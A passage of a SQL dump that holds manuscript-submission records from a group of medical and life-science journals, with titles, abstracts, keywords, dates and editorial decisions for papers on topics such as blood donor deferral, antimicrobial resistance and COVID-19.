from a large library of chemical compounds and help research and development (R&D) process. Additionally, the designed model and the proposed compounds can help other researchers to find the best anti- Staphylococcus aureus chemical compounds. \r\n','Oxadiazole, Quantitative Structure-Activity Relationship, Staphylococcus aureus',3066,NULL,'2020-08-09',NULL,'Submitted',2,NULL,'2020-10-03',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(5747,6971,975,0,'ipjbs-20-5747','Pre-donation deferral pattern of allogeneic blood donors: An analysis from a developing country',NULL,14,0,NULL,'Background:\r\nPredonation donor screening is one of the most important steps to ensure the safety of blood donors as well as recipients. Donors who do not meet designed criteria are deferred either on temporarily or permanently grounds. Varied rates and causes for deferrals in the existing literature, prompted us to evaluate the patterns and prevalence of deferrals in our institution. \r\nMethods: \r\nThis prospective study was conducted at a Tertiary Care Hospital, Karachi, from January 2014 to December 2015. Demographic data of blood donors was archived through the blood bank database and secondary measures such as the type of deferral (permanent/temporary) and reasons for deferral (donor or patient safety) were assessed. \r\nResults: \r\nDuring the study duration, 36954 potential donors reported to the blood bank, out of which 33853 were selected and 3101 were deferred, which makes the deferral rate to be 8.39%. Of total, 264 (0.71%) donors were excluded based on history whereas 174 (0.47%) donors were excluded due to examination findings while majority [n=2663 (7.20%)] of donor were deferred based on CBC. Majority (96.0%) of donors was temporarily deferred and only few (3.9%) were permanently deferred. The most common reason for deferral was low hemoglobin count (78.8%), followed by hypertension (3.64%) and history of medications (3.25%). Donors were rejected mainly due to donor safety (91.5%) while recipients’ safety was causative in 8.41%.\r\nConsclusion: \r\nDonor’s deferral rate in Pakistan is more or less similar to other countries. A high prevalence of anemia among blood donors signifies deteriorating health status in general population. Hence, understanding of the common causes of donor deferral in a region will dictate the measures to be taken to improve the donor pool. \r\n\r\n','Keywords: Blood donor, deferral, permanent, temporary\r\n',3460,NULL,'2020-08-10',NULL,'Submitted',4,NULL,'2021-03-05',NULL,1,1,'1','Proceed for publication',0,'','',NULL,0,0,0,NULL,0),(5758,6979,45,0,'iphsj-20-5758','PREVALENCE AND ANTIMICROBIAL SUSCEPTIBILITY OF Escherichia coli AND Salmonella ISOLATES FROM FEEDS, LITTER AND CLOACAL SWABS FROM BROILER CHICKEN IN KALERWE AND KASUBI MARKETS',NULL,14,2,NULL,'The demand for poultry products has increased in the recent past especially as more people realize the nutritional and economic value of chicken and their products. Consequently, many poultry farms have sprung up particularly in and around urban centres. However high mortalities in chicken and reduced individual sizes that are attributed to bacterial infections have been reported. The present study investigated the prevalence and antimicrobial susceptibility of E. coli and Salmonella isolates from the feed, litter and cloacal swab samples of broiler chicken sold in Kalerwe and Kasubi markets from January 2019 to May 2019.\r\nA total of 180 samples were collected from Kalerwe and Kasubi markets where 90 samples( 30 each of litter, feed and cloacal swabs) were from each of the markets. Using standard bacteriological techniques, E. coli and Salmonella were isolated from 126(70%) and 3(1.67%) samples respectively. The overall prevalence of E. coli and Salmonella in Kasubi market was 84.4% and 2.2% respectively and that in Kalerwe market was 55.6% and 1.1% respectively. The overall prevalence of E. coli in feed, litter and cloacal swab samples was 51.7%, 70% & 88.3% respectively and that of Salmonella was 0%, 1.7% & 3.3% respectively.\r\nFurthermore, isolates were subjected to antimicrobial susceptibility test by disc diffusion method using six commonly used antibiotics in both human and veterinary practice. The study revealed that E. coli isolates were more sensitive to gentamicin(83.4%) and ciprofloxacin(64.5%) whereas most resistance was to tetracycline(73.8%), ampicillin(70.6%), chloramphenicol(66.7%) and nalidixic acid(56.3%). All Salmonella isolates showed resistance to nalidixic acid, ciprofloxacin and chloramphenicol.\r\nThis study showed a high resistance rate against the antibiotics commonly used in poultry and humans. These findings confirm a significant increase in the incidence of antimicrobial resistance in E. coli and Salmonella which is most likely due to using of antibiotics as feed additives for growth promotion and inappropriate use of antibiotics for prevention and treatment of poultry diseases. Furthermore, the results suggest that poultry litter and feed are major sources of E. coli contamination to birds.\r\n','',3756,NULL,'2020-08-11',NULL,'Submitted',19,NULL,'2020-08-17',NULL,1,1,'0','Accepted',0,'','',NULL,0,4,0,NULL,0),(5760,6331,971,0,'ipaclr-20-5760','corona virus covid 19 investigated by world',NULL,14,0,NULL,'The number of Covid-19 cases in the world and the United States. Virus risk group. SARS-CoV-2 is the virus that causes the new coronavirus Covid-19. The confirmed cases range from mild to severe, and Covid-19 of each severity is subdivided every day. Covid-19 affects our mental health. The method used to trace or track covid-19. Test for coronavirus. Finally, the Covid-19 vaccine showed promise in early research.','covid 19,',3761,NULL,'2020-08-11',NULL,'Submitted',4,NULL,'2020-11-20',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(5766,6984,277,0,'ipadm-20-5766','OBESIDAD Y COVID-19',NULL,15,0,NULL,'Objective: Describe the impact of obesity in the course of infection by SARS-CoV 2 / COVID-19\r\nMaterials and methods: A narrative review was made from the scientific literature found in the databases, Pubmed, Elsevier, Google Scholar. The search focused on articles of interest that are relevant and pertinent to the topic of Obesity and COVID-19. A total of 120 articles were identified from which those present in the bibliography were selected.\r\nConclusion: Obesity and metabolic pathologies associated with it could help define the best possible clinical behavior for each patient and impact the prognosis of these patients.\r\n\r\n','SARS-CoV-2, COVID-19, Coronavirus infection, body weight, obesity (MeSH)',2805,NULL,'2020-08-11',NULL,'Submitted',2,NULL,'2020-09-16',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(5770,6512,959,0,'ipacr-20-5770','High Levels of the PSA (Prostate Specific Antigen) in Patients with Benign Prostatic Hyperplasia and Prostate Cancer','',14,0,NULL,'OBJECTIVE:- \r\nTo evaluate high levels of PSA(Prostate specific antigen) in BPH(benign prostatic hyperplasia), prostate cancer, chronic and granulomatous Benign Prostatic Hyperplasia, Chronic and Granulomatous Prostatitis and Prostate Adeno-Carcinoma, and in many non cancerous conditions and its importance in clinical and subclinical cases. \r\n2). To identify PSA isoforms, other biomarkers, enzymes involved in biosynthesis of androgens and various inflammatory mediators. \r\n\r\nMATERIAL AND METHODS: - \r\nIn our research we examined 80 patients at National Centre of Urology Histopathological Department in Tbilisi, Georgia using Gleason’s gradation system. we divided patients into 3 groups classified as BPH(benign prostatic hyperplasia) in group 1,chronic granulomatous prostatitis in group 2 and prostate adenocarcinoma with different grades in group 3 and measured PSA levels via Gleason’s gradation 2-10 and ISUP(induced modification to Gleason’s grading system and its importance in clinical and subclinical cases. Significance of the proposal is to evaluate the level of PSA in BPH, prostatitis and prostate cancer. \r\n\r\nRESULTS:- \r\nAfter our examination we found different PSA levels in different cases such as 30 patients with BPH(benign prostatic hyperplasia) had PSA level 4.5-17ng/ml,14 patients with Chronic granulomatous prostatitis had 10-70 ng/ml and in 36 patients with Prostate adenocarcinoma had 2.9-250 ng/ml.All these patients were in age group between 55-78 years. \r\n\r\nCONCLUSIONS:- \r\nAccording to the results that have been taken from the biopsies in each category of diseases need different management. we will continue our research in patients with BPH, prostatitis and prostate cancer for evaluating the spectrum of PSA level for further research material, study or investigations.','BPH,ISUP,PSA levels,Prostatitis,prostate cancer.',3797,'','2020-07-23',NULL,'Submitted',4,0,'2020-08-28','',1,1,'0','',0,'1007','bharadwaj_u@omicsgroup.co.in',2,0,0,0,NULL,0),(5773,6992,73,0,'ipjnn-20-5773','Levels of non-high-density-lipoprotein cholesterol are positively correlated with the risk of cognitive impairment in patients with intracerebral hemorrhage stroke',NULL,14,0,NULL,'Background: Intracerebral hemorrhage (ICH) is one of the most common strokes, especially in developing countries. Recently, level of non-high-density lipoprotein cholesterol (non-HDL-C) has been implicated to be a better indicator for several lipid-related disorders. However, whether non-HDL-C can be used as an indicator for the risk of cognitive impairment in ICH patients remains to be elucidated. \r\nMethods: In the present study, we performed a retrospective study on patients with ICH treated at our institution to investigate the association between the level of non-HDL-C and various neuropsychological assessments, including mini-mental state examination (MMSE), Montreal cognitive assessment (MoCA), activity of daily living scale (ADL), neuropsychiatric Inventory (NPI), and Hamilton depression rating scale 21 (HAMD21). \r\nResults: We found that all scores of the tested assessments were significantly altered in ICH patients with a high non-HDL-C level. In addition, we revealed that non-HDL-C was negatively correlated with MMSE and MoCA scores and was positively correlated with ADL, NPI and HAMD21 scores. \r\nConclusions: Our study suggests that non-HDL-C level can be used as a potential indicator for the risk of cognitive impairment in ICH patients.   \r\n','lipoprotein, cholesterol, stroke, cognitive impairment',338,NULL,'2020-08-12',NULL,'Submitted',4,NULL,'2021-02-09',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(5791,7007,73,0,'ipjnn-20-5791','An analysis of outcome of Pediatric hydrocephalus.-10 year study from central India',NULL,15,0,NULL,'Introduction- Pediatric hydrocephalus is a surgical disease and if left untreated can be lethal.VentriculoPeritoneal (VP) shunt is an easy and inexpensive procedure done for the management of hydrocephalus all over the world. However, it is associated with several complications and morbidity. This a ten year study done to determine the outcome of children having hydrocephalus who underwent VP shunt surgery.\r\nMaterial and Method: In this retrospective study, record of 196 patients operated for hydrocephalus in pediatric age group was analyzed and spectrum of complications noted. This ten year study was conducted from May 2010 to April 2020 and the patients were operated in various hospitals and tertiary care centers of Bhopal city (MP).India\r\nResults-Out of 196 patients operated for VP Shunt,120 were boys and 76 were girls.In this series 130(66.32%) patients were below 1 year and 66(33.67%) were above 2 years.The median age of the patients at the time of VP shunt placement was 20.7 months (range 1.4 months to 9.5 years).Aqueductal stenosis (35.71%) was the most common congenital and Tubercular Meningitis(16.32%) was the most common acquired cause of  hydrocephalus in children.Vomiting (18.36%) was the most common symptom and enlargement of head(40.81%) was the most common sign. The most common indication of shunt revision was shunt obstruction (10.17%) and shunt infection (6.63%).Mortality in this series was 12.75% .\r\nConclusions: For pediatric hydrocephalus VP shunt surgery is the procedure of choice until a safe and effective alternative is available. Complications of shunt procedures, adversely affect the final surgical outcome. Cerebrospinal fluid shunting features a propensity  for mechanical failure and patients with VP shunts should receive regular follow-up through the transition to adulthood. \r\n','Head circumference, Pediatric hydrocephalus, VP shunt',3909,NULL,'2020-08-14',NULL,'Submitted',4,NULL,'2021-02-04',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(5795,6883,86,0,'ipaom-20-5795','METABOLIC CHANGES IN COLORECTAL CARCINOMAS: PROSPECTS FOR EARLY DETECTION OF NEOPLASTIC CHANGES',NULL,15,0,NULL,'ABSTRACT\r\nThe use of modern analytical techniques and nanotechnology in metabolomics have produced potential metabolomic biomarkers, giving insight into pathophysiological basis and changes, tumorigenesis and molecular mechanisms that underpin better therapeutic, monitoring and prognostic evaluations of malignant tumors of the colon. Thus, enabling early detections and characterization of malignant colon tumors that could reduce mortality and morbidity and mortality rates in colorectal carcinomas.  Some metabolic profiling and changes are influenced by environmental factors and biological alterations including diet, lifestyle, medications and chronic diseases. Thus, modifiable risk factors could become targets for enhanced risk reduction.\r\nIt is shown in this review that metabolic changes in colorectal carcinomas can be used in diagnosis, monitoring, therapy and prognosis of colorectal carcinomas.','Key words: Metabolomics, Colorectal Carcinomas, Metabolites,  Early Detection,  Lifestyle Modification',2890,NULL,'2020-08-14',NULL,'Submitted',4,NULL,'2020-09-03',NULL,1,1,'0','Send for revision',0,NULL,NULL,2,0,0,0,NULL,0),(5796,7010,277,0,'ipadm-20-5796','Determinación del riesgo cardiovascular en conductores profesionales españoles. Influencia de la edad y de los hábitos saludables',NULL,14,0,NULL,'Introducción. Las enfermedades cardiovasculares son la primera causa de muerte en el mundo y guardan relación con los estilos de vida.\r\nMaterial y métodos. Se realiza un estudio retrospectivo y transversal en 10327 conductores profesionales de diferentes regiones españolas. Se valoran diferentes variables y escalas relacionadas con el riesgo cardiovascular.\r\nResultados. El 27,38% de los conductores son obesos, el 30,04% hipertensos, un 62,38% presentan valores elevados del índice cintura/altura. El 77,47% se consideran no metabólicamente sanos, el 19,83% presentan síndrome metabólico con los criterios NCEP-ATPIII y un 25,75% con los criterios IDF. El 22,50% presentan valores moderados o altos en la escala REGICOR.\r\nConclusiones. Consideramos que el riesgo cardiovascular de nuestros conductores es alto, ya que la mayoría de las variables analizadas presentan una prevalencia de valores alterados muy importante','Riesgo cardiovascular; conductores profesionales; variables sociodemográficas; hábitos saludables.',2805,NULL,'2020-08-14',NULL,'Submitted',2,NULL,'2020-09-22',NULL,1,1,'1','Accepted for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(5797,7011,277,0,'ipadm-20-5797','Lactato de Sodio: Alternativa Hiperosmolar en Hipertensión Intracraneal. Artículo Editorial. ',NULL,5,0,NULL,'La hipertensión intracraneal (HIC) es una alteración neurológica de etiologías múltiples, como lo son el trauma craneoencefálico severo, infecciones cerebrales, accidente cerebrovascular (ACV) isquémicos e incluso tumores cerebrales [1].','Medicina',2805,NULL,'2020-08-14',NULL,'Submitted',2,NULL,'2020-09-22',NULL,1,1,'1','Accepted for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(5802,7016,73,0,'ipjnn-20-5802','Efficacy and Safety of Rituximab in Treatment of the Patients with Neuromyelitis Optica: A Prospective Case Series',NULL,14,0,NULL,'ABSTRACT\r\nObjective: To report the results of rituximab treatment in Iranian patients with Neuromyelitis optica (NMO) during 12 months follow-up.\r\nMethods: This was a prospective case series of the use of rituximab in NMO. The study was performed on 15 NMO patients older than 18 years who were referred to 2 referral neurology centers during 6-month period. Treatment protocol of rituximab consisted of 1000 mg infusion twice at a 2-week interval. Disability (expressed as Expanded Disability Status Scale score), MRI evaluation, and safety of rituximab treatment were considered as outcomes. \r\nResults: The average age for starting rituximab therapy was 42.9±13.5 years (range, 21-65 years). Two patients died during the 12-month follow-up due to a severe relapse (patients no 8 and 15). The mean EDSS score before starting treatment (n=15) was 6.9±2.4 (range, 2-9.5), whereas it was 5.2±2.6 (range, 1-10) at the end of follow-up (P=0.03). In 13 patients (86.6%), the disability was either improved or stabilized after rituximab treatment. MRI assessment revealed no significant change in the CNS MRI of 9 alive patients. On the other hand, T2-hyperintense lesion segments of the spinal cord decreased in three patients, while it was increased in one patient. \r\nConclusion: In conclusion, our study provides promising initial results that rituximab may also prevent further neurological deterioration, and especially considering the strong suppression of disease activity in NMO patients.\r\n','Keywords: Neuromyelitis optica; Monoclonal antibody; Rituximab; Disability\r\n',337,NULL,'2020-08-14',NULL,'Submitted',4,NULL,'2021-02-04',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(5803,7017,73,0,'ipjnn-20-5803','Central skull base osteomyelitis with ischemic infarct: case report and literature review',NULL,2,0,NULL,'Skull base osteomyelitis (SBO) defined as an inflammation of bony structures of the cranial base, is rare condition with substantial morbidity and mortality. It typically involves temporal bone and manifested as otologic symptom and cranial neuropathy. Central skull base osteomyelitis (CSBO) is atypical form of SBO that involves the sphenoid and clivus and related to nonotogenic conditions.\r\nWe present an unusual case of CSBO presented with ischemic stroke and multiple cranial nerve involvement. A diabetic women of 45 years old, with a previous history of right otalgia without otorrhea and severe headache, admitted with sudden left hemiplegia and controlateral multiple cranial nerve (CN) palsies. Cerebral imaging investigations (CT and MRI scans) showed ischemic infraction secondary to the occlusion of the right internal carotid artery (ICA) and radiological evidence of invasive osteomyelitis on the right side of the central skull base with contiguous lateral sinus thrombosis. Broad spectrum antibiotics and anticoagulant therapy was initiated with unfavorable outcome. \r\nBased on thorough review of the literature, arterial cerebrovascular complications revealing CSBO are extremely rare and the diagnosis is often challenging for the clinician.','Skull base osteomyelitis, Central skull base osteomyelitis, Stroke, Cranial Neuropathies',338,NULL,'2020-08-14',NULL,'Submitted',2,NULL,'2020-09-23',NULL,1,1,'0','accept after the minor revision',0,'','',NULL,0,0,0,NULL,0),(5808,7026,639,0,'','Microbiological Quality of fresh Bogue fish caught at M’diq port, Morocco',NULL,14,2,NULL,'Our study consists in evaluating the microbiological quality of the bogue fish (Boops Boops) freshly caught. Thus, we conducted a study of 40 samples taken from the fishing vessels docked at M’diq port. The microbiological analyzes conducted at the Regional Laboratory for Epidemiological Diagnosis and Environmental Hygiene (LRDEHM) in Tetouan according to Moroccan and international standards in force (Total germ   counts, fecal coliforms, Listeria, Salmonella and Staphylococcus) have indicated that this fish resource is exposed to contamination, especially by pathogenic germs.\r\nThe results of analyzes in our study have shown that this fishery resource is exposed to contamination even if the samples are collected and analyzed in the fresh state. Therefore, efforts should be made to improve the safety and wholesomeness of the fish caught at M’diq port (Morocco).\r\n','Fresh Fish, Safety and wholesomeness, Boops boops, M’diq port, Morocco.',1772,NULL,'2021-09-18','2020-08-15','Submitted',19,NULL,'0000-00-00',NULL,1,0,'1','Accepted',0,'','',NULL,0,4,0,NULL,0),(5833,7059,326,0,'IPJUS-20-5833','Rare case of mucinous neoplasm of the appendix - Low-grade appendiceal mucinous neoplasm (LAMN) developed against the background of chronic ulcerohemorrhagic colitis',NULL,2,0,NULL,'Mucinous neoplasms of the appendix are rare epithelial tumors. Their pathohistological assessment and nomenclature is undergoing development, which is reflected in the proposed classifications. The treatment of this pathology is individualized. Appendectomy is usually performed for histological analysis, and extension of the resection depends on the histological result. The combination with other pathology may aggravate the prognosis. We observed such a clinical case of low-grade appendiceal mucinous neoplasm (LAMN), which developed against the background of chronic ulcerohemorrhagic colitis in a young patient with a family cancer history. ','mucinous neoplasm, appendix, classification, chronic ulcerohemorrhagic colitis, surgery',2505,NULL,'2020-08-17',NULL,'Submitted',2,NULL,'2020-09-14',NULL,1,1,'0','Now after revision this article is accepted for publication.',0,'','',NULL,0,0,0,NULL,0),(5857,7050,975,0,'ipjbs-20-5857','Gender and immunosenescence dependent progression of COVID-19 in Bangladesh population',NULL,15,0,NULL,'Novel coronavirus (SARS-CoV-2) emerged from Wuhan, China has spread rapidly around the world with a male bias case fatality rate. However, this COVID-19 pandemic caused by SARS-CoV-2 quickly surges in Bangladesh and the case disaggregated epidemiological data also showed that men, especially the aged men have higher risk of developing this disease. In this review, it is highlighted how the sex specific mechanism along with sex hormone modulate innate and adaptive immune response, susceptibility of viral infection etc. in male and female. Moreover, the effect of aging can alter the immune system that reduces ability to fight the infection. Therefore, this review emphasizes the impact of gender and age in immunopathogenesis in order to improve the therapeutic treatment of COVID-19 disease, which is unique to other studies in respective to Bangladesh.','SARS-CoV-2, Gender, Age, COVID-19, Immune system',3677,NULL,'2020-08-18',NULL,'Submitted',4,NULL,'2021-03-05',NULL,1,1,'1','Publish',1,'','',NULL,0,0,0,NULL,0),(5859,6905,73,0,'ipjnn-20-5859','effectiveness of Speech and language therapy and Spontaneous recovery in Anomic Aphasia.',NULL,15,0,NULL,'Anomia is a problem with naming objects. Anomic aphasia, also called as anomia or amnesic aphasia is characterized by word-finding difficulties in the absence of major syntactic impairment. This article accounts a case of a 46-year old male who was diagnosed as having anomic aphasia secondary to acute ischemic stroke. This case report emphasizes the importance of using effective therapy techniques and documentation of patient’s responses. Though there is contribution of spontaneous recovery in the betterment of Person with Aphasia, timely therapy helps in noticing marked improvement in the patient’s language abilities.','Anomic aphasia, semantic feature analysis, phonological component analysis, spontaneous recovery, case study, treatment efficacy',326,NULL,'2020-08-18',NULL,'Submitted',4,NULL,'2021-02-09',NULL,1,1,'1',NULL,1,'','',NULL,0,0,0,NULL,0),(5877,7101,45,0,'iphsj-20-5877','The Prevalence Rape and the Associated Factors among girls and women Attending the Emergency Gynecology Clinic, Yirgalem General Hospital, Southern Ethiopia',NULL,14,2,NULL,'Abstract\r\nBackground: Sexual assault is an important form of sexual violence that affects women worldwide. Rape is a very serious public health problem in Ethiopia, since the country is famous for the practice of marriage by abduction. Objective: The study aimed to determine the prevalence of rape and the associated factors among females attending the emergency gynecology clinic at the Yirgalem General Hospital, Southern Ethiopia. Methods: A retrospective study was carried out in the emergency gynecology clinic between January 2016 and December 2017. Health Management Systems (HMS) data were retrieved and analyzed following standard methodologies. Results: Of 1, 311 gynecology emergencies, 118 (9%) cases were rape. All survivors of sexual assault were women with a majority (53.4%) were less than 15 years old and had less education. With regard to marital status, over eighty nine percent of the survivors were not married. More than 50% of the assaults were committed rape in the survivors\' house and 73% of the survivors were assaulted during day time. Over forty six point six percent of the survivors were raped by their neighbors and 71.1% of the cases were assaulted by people they know. Conclusion: A considerable proportion of clients with gynecological emergencies have violated. There was a delay in informing health institutions. The community should be encouraged to help survivors’ present cases earlier in the health institution to prevent unwanted pregnancies and sexually transmitted infections.','\r\nKeywords:  Rape, Yirgalem, Prevalence, Female, Sexual Violence  \r\n',3202,NULL,'2020-08-20',NULL,'Submitted',19,NULL,'2020-11-06',NULL,1,1,'1','Accepted',0,'','',NULL,0,4,0,NULL,0),(5882,7107,971,0,NULL,'A Clinical informatics Approach and Metabolic Signatures of Propionic Acidemia (PA)',NULL,14,0,NULL,'Hyperammonaemia is a metabolic condition should be categorized under levels of ammonia in the blood stream and it may be results in brain damage and if treated early properly at birth. Human diseases involved in the inborn errors of metabolism under nervous system  are organic aciduria’s with secondary hyperammonaemia . Most of the organic aciduria’s become clinically apparent during neonatal period or early infancy. The  metabolic disorders involved are metabolic stress state with extreme hyperammonaemia levels above 1000 µmol/L is the discriminative feature for diagnosis of metabolic disorders. We presented this case which has diagnosed as propionic acidemia by specific test to emphasize that extreme high levels of ammonia can be seen in organic acidemias. Propionic acidemia is caused by a deficiency of propionyl-CoA carboxylase which accumulates toxic compounds affecting brain metabolism. It is categorized under the inherited metabolic disease as haematological disease . Propionic acidemia is an inherited metabolic disorder in which the body was unable to process certain defects of proteins catabolism and oxidation properly. In most cases, the features of this condition become apparent within a few days after birth. The initial symptoms include poor feeding, vomiting, loss of appetite, hypotonia, and lethargy. Propionic acidemia is caused by mutations in the PCCA (alpha unit) and PCCB (beta unit)genes; it has an autosomal recessive pattern of inheritance.','Hyperammonaemia ,Propionic Acidemia, Metabolic disorders, Lethargy, Inborn errors of Metabolism, Neonatal Period, Autosomal Recessive',3249,NULL,'2020-08-20',NULL,'Submitted',4,NULL,'2020-09-07',NULL,1,0,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(5884,7109,639,0,'ipfs-20-5884','COMPARISON OF THE EFFECT OF STOCKING DENSITY ON THE GROWTH OF BACKCROSSED ALBINO HYBRID AND PARENT CLARIAS GARIEPINUS',NULL,14,0,NULL,'\r\n ABSTRACT\r\nPreliminary study on comparison of growth performance of parent Clarias gariepinus and backcrossed albino hybrid with different stocking densities was carried out to determine the appropriate stocking density for efficient nutrient utilization, to determine the optimum growth performance and survival of Clarias gariepinus and albino hybrid, to determine the optimum survival rate of both Clarias gariepinus and albino hybrid and to determine the water conditions favourable for optimum growth and survival. The backcrossed hybrid albino and parent Clarias gariepinus were reared for eight weeks indoor in plastic bowls. The treatment with 20 and 25 fingerlings had the highest final weight D1 (20 fingerlings) 58.067 ± 19.067 and D2 (25 fingerlings) 59.066 ± 0.147 than the treatment with 30, 35 and 40 fingerlings. D1 and D2 also had the highest final weight gained D1 (1.043 ± 0.334) and D2 (1.005 ± 0.003). D2 had the highest percentage survival of 100% followed by D1 with 85% survival rate and the least survival rate was in D5 with 72.5%. At the end of the study, the specific growth rate was higher in D1 (3.480). There was no significant difference p>0.05 among the mean growth parameter of the treatments.\r\n',' Growth, Albino hybrid, Pigmented, Clarias gariepinus, Stocking density',1776,NULL,'2020-08-20',NULL,'Submitted',12,NULL,'2020-09-15',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(5892,7114,959,0,'ipacr-20-5892','Experimental Thesis on “ Bioactive Peptide-Drug Conjugates and Liposomial Anticancer Drug Deivery in NeuroEndocrine Tumors (NETs) : Neurotensin and the (NT/NTSR) receptor system',NULL,14,0,NULL,'Experimental Thesis on “ Bioactive Peptide-Drug Conjugates and Liposomial Anticancer\r\nDrug Deivery in NeuroEndocrine Tumors (NETs) : Neurotensin and the (NT/NTSR)\r\nreceptor system . “\r\nThe main focus of this current Experimental Thesis Project is the introduction of the native\r\nform of the bioactive tridecapeptide Neurotensin (NT) and its biomimetic chemically\r\nmodified derived forms – obtained by specific biochemical protection strategies and\r\nspecific functionalisation reactions , both feasible on the functional groups of the (NT)\r\nunique aminoacid sequence – and the (NT/NTSR) neurotensin receptor system in signal\r\ntransduction of pathophysiological conditions , such as cancer and neurodegenerative\r\ndiseases . The main goal of this preliminary Experimental Thesis Project is to study and to\r\ndescribe the role and functions of both (NT) and the (NT/NTSR) receptor system in GPCRmediated\r\nsignalling biochemical pathways , in both physiological conditions and – most\r\nimportantly - in pathology-related conditions , such as most importantly cancer and also\r\nneurodegenerative diseases , as major leading causes of death in global modern society.\r\nAs a matter of fact , molecular targeted combined therapy and innovative biochemical\r\ntechniques useful in Drug Delivery strategies of traditionally already well-known and\r\nrecent newly discovered anticancer therapeutic agents in new formulations are key factors\r\nin current pre-Approval decision-making procedures in Clinical Oncology Phase Trials\r\nprior to final FDA-EMA Approval ( and subsequent marketing strategies ) .\r\nIn molecular targeted combined therapy , the really essential key factor is the chemical\r\nconjugation of a well-defined biochemical sequence of naturally available and chemicallyprotected\r\nand functionalised aminoacids (in this case , Peptide-Drug Conjugates ','drug delivery, bioactive peptide, anticancer, liposomal, tumor',3162,NULL,'2020-08-21',NULL,'Submitted',4,NULL,'2020-09-01',NULL,1,1,'0',NULL,0,'1348','priyanka_kura@omicsgroup.co.in',1,0,0,0,NULL,0),(5902,7124,971,0,'ipaclr-20-5902','HEPATITIS B VIRUS INFECTION AMONG RESIDENT PHYSICIANS AND NURSES IN TERTIARY HOSPITALS IN SANA\'A CITY, YEMEN',NULL,14,0,NULL,'Health care workers (HCWs) represent one of the largest groups at risk for contracting hepatitis B virus (HBV) worldwide. This is due to the accidental occupational exposure to potentially infectious blood and other body fluids in the workplace. This cross-sectional study aimed to determine the rate of exposure to HBV infection and to identify potential occupational and non-occupational risk factors among doctors and nurses residing in tertiary hospitals in Sana\'a city. This study included 169 physicians and nurses of whom 121 were physicians and 48 were nurses. Blood samples were collected from each one, then tested for serological markers of HBV infections. Also,  data was collected in a pre-designed questionnaire including; demographic data, the potential occupational and non-occupational risk factors that contribute to HBV transmission. The results of the study showed that seropositive to hepatitis B surface antigen (HBsAg) among physicians and nurses was 5.3%, while the rate of exposure to hepatitis B virus infection (HBcAb) was 17.8%. The rate of exposure to HBV infection (anti-HBC + HBsAg) was higher in females (33.3%) than in males (21.4%). The older age group was more susceptible to hepatitis B virus infection than the younger age group (P <0.05).Only 11 participants (6.5%) said they attended training courses in biosafety. Just over 45.6% indicated that they had needle injuries and 40% of sharp tool injuries while working; 61 (26%) indicated they always followed bio-safety precautions, and 74 (43.8%) said they always wore gloves while their work. Only 32 (18.9%) of the participants received a full hepatitis B vaccination doses. Also, there was a statistically significant relationship between cut injuries and HBV infections (P = 0.02). In addition, the highest incidence of hepatitis B virus infection was 31.3% among nurses, while physicians had 19.8%.  In conclusion, there was a high prevalence of hepatitis B virus among doctors and nurses. Unfortunately, most workers have not received training in biosafety, and fewer than half of the workers consistently use preventive measures such as wearing gloves during their work or taking vaccination. There is a need to make health care workers vaccination against hepatitis B infection a consistent policy and to ensure full and consistent compliance with standard safety procedures.','HBV, resident, physicians, nurses, Yemen',3249,NULL,'2020-08-22',NULL,'Submitted',4,NULL,'2020-11-25',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(5907,7129,326,0,'IPJUS-20-5907','Trapezius muscle reconstruction after resection of a desmoid tumor using an innervated gracilis free flap',NULL,2,0,NULL,'Desmoid tumor is a rare benign neoplasm characterized by progressive invasion of soft tissues which can occur in any part of the body. We present the case of a young woman affected by a desmoid tumor arising from her left trapezium muscle which has been treated with surgical resection. In order to prevent functional impairment of the muscle we performed reconstruction using an innervated gracilis free flap. Complete recovery of the muscle was achieved, as demonstrated by post-operative EMG. No recurrence has been observed at 7 years.','Innervated gracilis free flap; trapezius functional reconstruction; desmoid tumor.',2505,NULL,'2020-08-23',NULL,'Submitted',1,NULL,'2020-10-14',NULL,1,1,'0','This article is accepted for publication as per review comment',0,'','',NULL,0,0,0,NULL,0),(5912,7134,251,0,'ipacm-20-5912','Evaluation of Biofilm Formation by Staphylococcus aureus recovered from Clinical Samples of patients attending a Tertiary-care Hospital in North-eastern Nigeria',NULL,14,0,NULL,'Staphylococcus aureus is a classical pathogen that is implicated in a wide range of diseases. It is a resident flora of the human skin and can easily contaminate open wounds and gain access into circulation and inflict damage to the host. This study is designed to identify Staphylococcus aureus from various clinical samples and determine the isolates’ ability to form biofilm. Eighty-six (86) clinical samples were collected aseptically from patients attending University of Maiduguri Teaching hospital. The samples were processed using standard microbiological methods for the identification of S. aureus. Samples were cultured on 5% blood agar and presumptive S. aureus isolates were further confirmed by biochemical identification at the Microbiology Laboratory of University of Maiduguri, Nigeria. Biofilm formation was analysed using three detection methods which comprise of Congo red agar (CRA) method, Tube method (TM) and Microscopy method (MM). Out of the eighty-six (86) samples processed, sixty-one (61) yielded positive growth of Staphylococcus aureus, which gives a bacterial recovery rate of 71.0%. The yield was found to be highest from blood samples (36.1%) and wound swab samples (18.0%). Majority of the isolates were alpha-hemolytic (50.2%) while the rest were beta-hemolytic (49.8%). Of the S. aureus, 29.5% of the isolates were good mucoid variants, 32.8% were strong mucoid variants while 13.1% were complete mucoid variants. 55.4% of isolates tested positive to biofilm formation according to the CRA method, 30.4% according to Tube method and 14.3% according to Microscopy method. Biofilm formation is a recipe for the chronicity of infection and if not detected, can delay therapy and increase the cost of management of an infectious disease.','Staphylococcus aureus, nosocomial infection, Biofilm Detection, Clinical Samples, Congo red agar',786,NULL,'2020-08-24',NULL,'Submitted',2,NULL,'2020-11-11',NULL,1,1,'1','accepted to publish',0,NULL,NULL,NULL,0,0,0,NULL,0),(5914,7136,251,0,'ipacm-20-5914','VULNERABILITY OF COVID-19 ON DIFFERENT AGE INDIVIDUALS IN INDIA',NULL,1,0,NULL,'In December 2019, a pneumonia like infection of unknown etiology currently named as Coronavirus disease 2019 (COVID -19) was spread in Wuhan city, China. This began as an outbreak and 